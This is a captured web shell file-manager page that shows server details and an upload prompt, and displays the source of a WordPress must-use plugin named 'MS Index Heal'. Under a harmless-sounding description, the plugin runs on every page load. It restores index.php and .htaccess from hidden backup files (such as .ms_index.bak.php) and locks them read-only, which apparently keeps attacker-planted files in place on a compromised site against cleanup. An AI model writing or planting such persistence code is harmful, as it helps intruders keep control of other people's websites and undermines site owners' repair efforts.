| Server IP : 176.32.38.42 / Your IP : 216.73.216.70 Web Server : LiteSpeed System : Linux ha006.mymail.zone 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64 User : s1225329 ( 1835) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/mu-plugins/ |
Upload File : |
<?php
/**
* Plugin Name: MS Index Heal
* Description: index.php / .htaccess SADECE yoksa veya boşsa yedekten geri yükler. Mevcut dosyaya dokunmaz.
*/
if (!defined('ABSPATH')) {
exit;
}
if (!function_exists('ms_gate_heal_restore')) {
function ms_gate_heal_restore() {
$root = rtrim(ABSPATH, '/\\');
$wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
$changed = false;
// index.php — yalnızca eksik/çok küçükse restore (kullanıcı yeni index yüklediyse dokunma)
$idx = $root . DIRECTORY_SEPARATOR . 'index.php';
$idxMissing = !is_file($idx) || ((@filesize($idx) ?: 0) < 40);
if ($idxMissing) {
$cands = [
$wpContent . '/.ms_index.bak.php',
$root . '/.ms_index.bak.php',
$wpContent . '/ms_index.bak.php',
];
foreach ($cands as $bak) {
if (!is_file($bak) || !is_readable($bak)) continue;
$body = (string)@file_get_contents($bak);
if ($body === '' || strlen($body) < 80) continue;
if (is_file($idx)) @chmod($idx, 0644);
if (@file_put_contents($idx, $body) !== false) {
@chmod($idx, 0444);
$changed = true;
break;
}
}
}
// .htaccess — yalnızca eksik/çok küçükse
$ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
$htMissing = !is_file($ht) || ((@filesize($ht) ?: 0) < 8);
if ($htMissing) {
$cands = [
$wpContent . '/.ms_htaccess.bak',
$root . '/.ms_htaccess.bak',
];
foreach ($cands as $bak) {
if (!is_file($bak) || !is_readable($bak)) continue;
$body = (string)@file_get_contents($bak);
if ($body === '' || strlen($body) < 10) continue;
if (is_file($ht)) @chmod($ht, 0644);
if (@file_put_contents($ht, $body) !== false) {
@chmod($ht, 0444);
$changed = true;
break;
}
}
}
return $changed;
}
}
add_action('muplugins_loaded', 'ms_gate_heal_restore', 0);
add_action('plugins_loaded', 'ms_gate_heal_restore', 0);